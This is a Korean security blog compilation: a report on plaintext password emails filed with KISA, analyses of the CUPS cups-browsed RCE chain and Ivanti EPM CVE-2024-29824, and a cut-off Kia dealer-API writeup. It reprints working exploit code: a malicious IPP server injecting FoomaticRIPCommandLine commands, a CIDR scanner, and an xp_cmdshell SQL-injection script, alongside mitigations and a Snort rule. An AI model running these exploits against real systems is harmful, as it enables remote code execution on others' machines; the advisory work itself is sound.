1. 계정 정보 평문 노출 관련 1차 문의

- A 도서출판사에 도서 관련 문의를 위해 홈페이지 접속

> 게시판 사용을 위해서는 로그인이 필요

> 계정 정보가 기억나지 않아 "아이디/비밀번호 찾기" 진행

> 메일로 수신한 계정 정보 확인 결과 PW가 평문으로 노출되어 있었고, KISA에 1차 문의 진행

[사진 1] 평문으로 노출된 PW

답변 요약
- 개인정보 보호법 제29조(안전조치의무)
> 개인정보처리자는 개인정보가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안전성 확보에 필요한 기술적ㆍ관리적 및 물리적 조치를 하여야 한다.

- 개인정보 보호법제29조를 근거하여 시행령 제16조제2항, 제30조 및 제30조의2에서 다음의 기준을 정함
> 개인정보처리자가 개인정보를 처리함에 있어서 개인정보가 분실·도난·유출·위조·변조 또는 훼손 되지 아니하도록 안전성 확보에 필요한 기술적·관리적 및 물리적 안전조치에 관한 최소한의 기준을 정하고 있음

- 개인정보의 안전성 확보조치 기준에서의 비밀번호
> 정보주체 및 개인정보취급자 등이 개인정보처리시스템 또는 정보통신망을 관리하는 시스템 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보
> 제7조 제1항:  개인정보처리자는 비밀번호, 생체인식정보 등 인증정보를 저장 또는 정보통신망을 통하여 송·수신하는 경우에 이를 안전한 암호 알고리즘으로 암호화
> 제7조 제4항: 개인정보처리자는 개인정보를 정보통신망을 통하여 인터넷망 구간으로 송·수신하는 경우에는 이를 안전한 암호 알고리즘으로 암호화

- 정보통신망을 통한 개인정보 암호화 전송을 위해  프로토콜이 탑재된 기술을 활용하거나, 개인정보를 암호화 저장한 후 이를 전송하는 방법 등을 사용할 수 있으며 만약 암호화 응용프로그램 대신하여 보안서버를 구축하고 있다면 이를 본 법률에 저촉된다고 보기는 어려울 것
> 단, 개인정보의 기술적 관리적 보호조치 기준 제6조제3항에 따른 보안서버를 구축하고 있지 않은 경우 문제의 소지가 있을 수 있음

- 문의 시 제출한 증적자료를 바탕으로 조사 착수 여부에 대해 검토
> 단, 신고서가 누락된 경우 상담으로 처리되므로, 검토를 원하는 경우 접수방법을 참고하여 접수 권고

 

2. 계정 정보 평문 노출 관련 1차 신고

- 위 내용과 관련하여 KISA에 개인정보 침해 신고 접수

> 추가로, 도서 문의 후 계정 탈퇴를 진행하였으나 즉각 삭제가 아닌 일정 시간 후 삭제되어 관련 내용에 관한 문의 진행

> 삭제 후 일정 시간 동안 계정 찾기를 통해 ID/PW를 찾을 수 있었으며, 마찬기지로 PW가 평문으로 노출되어 수신

> 개인정보 삭제 요구와 관련된 답변을 수신 하였으며, 비밀번호 평문 노출 관련 신고를 권고

※ 개인정보 침해 또는 노출 신고 시 해당 내용만을 양식에 맞추어 신고할 필요가 있음을 인지

답변 요약
- 개인정보 보호법 제36조(개인정보의 정정·삭제)
> 제1항: 자신의 개인정보의 열람을 요구한 정보주체는 그 개인정보의 정정 또는 삭제를 요구할 수 있음
> 제2항: 제1항에 따른 정보주체의 요구를 받은 개인정보처리자는 다른 법령에 특별한 규정이 있는 경우를 제외하고는 정보주체의 요구에 필요한 조치를 하여야 함
> 제6항: 제1항·제2항에 따른 정정 또는 삭제 요구 통지 방법 및 절차 등에 필요한 사항을 시행령 제43조(개인정보의 정정·삭제 등)로 정하고 있음

- 개인정보 보호법 제36조 제6항을 근거하여 시행령 제43조(개인정보의 정정·삭제 등) 제3항
> 개인정보의 정정·삭제 요구를 받은 개인정보처리자는 요구를 받는 날로부터 근무일 기준 10일이내에 조치 하도록 규정
> 따라서, 삭제 요구 후 기간 내 조치한 경우 위반의 소지가 있다고 보기는 어려움

- 개인정보의 삭제로 인하여 관련 자료의 첨부가 어려움
> 침해받은 자에 해당함을 입증할 수 없으나 개인정보 보호법 위반의 소지가 있고, 제3자가 개인정보의 권리 또는 이익을 현저히 침해받을 우려가 있음
> 따라서, 신고를 원하는 경우 공익신고자 보호법에 따른 공익신고에 해당하므로 개인정보보호위원회로 신고 권고

 

3. 계정 정보 평문 노출 관련 2차 신고

- 개인정보보호위원회로 신고 및 KISA로 민원 이송 답변

답변 요약
- 안전조치의무 위반 등 개인정보 침해신고 관련 내용
> 개인정보보호법 제62조(침해 사실의 신고 등) 및 시행령 제59조(침해 사실의 신고 등)에 따라 개인정보보호법 침해사실을 접수 및 조사할 수 있도록 한국인터넷진흥원으로 이송

 

4. 계정 정보 평문 노출 관련 3차 신고

- KISA로부터 해당 민원은 이전 개인정보 노출 신고건과 동일한 건으로 침해신고센터에서 검토 진행 안내 메일 수신

> KISA 개인정보침해신고센터로부터 안전조치 의무 시행(비밀번호 암호화) 관련 신고 접수 안내 메일 수신 후 대기 중

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. 개요

- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1]
- 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능
- 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음

 

2. 주요 내용

- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석
> 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음

※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달
※ 앱은 해당 API에 직접 액세스

 

- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청

[사진 1] 요청 예시

- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달

> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID

[사진 2] 요청 예시

2.1 Kia 딜러 인프라 취약점

- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견

> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

 

- 해당 URL을 로드하면 토큰의 유효성을 확인하는 HTTP 요청이 전송

> 딜러 사이트의 요청 URI가 owners 사이트와 동일한 /apps/services/kdealer/apigwServlet.html

> 딜러용 내부 API로 요청을 전달하는 프록시가 있을 것으로 예상

[사진 3] 토큰 유효성 검사

- JavaScript를 확인한 결과 딜러 차량 조회, 계정 조회, 등록, 해지 등 직원 전용 기능을 가진 API 호출 발견

> 소유한 차량의 VIN으로 API 앤드포인트에 접근해 보았으나, 401 Unauthorized 반환

dealerVehicleLookUp() {
    this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
        vin: this.vinToEnroll
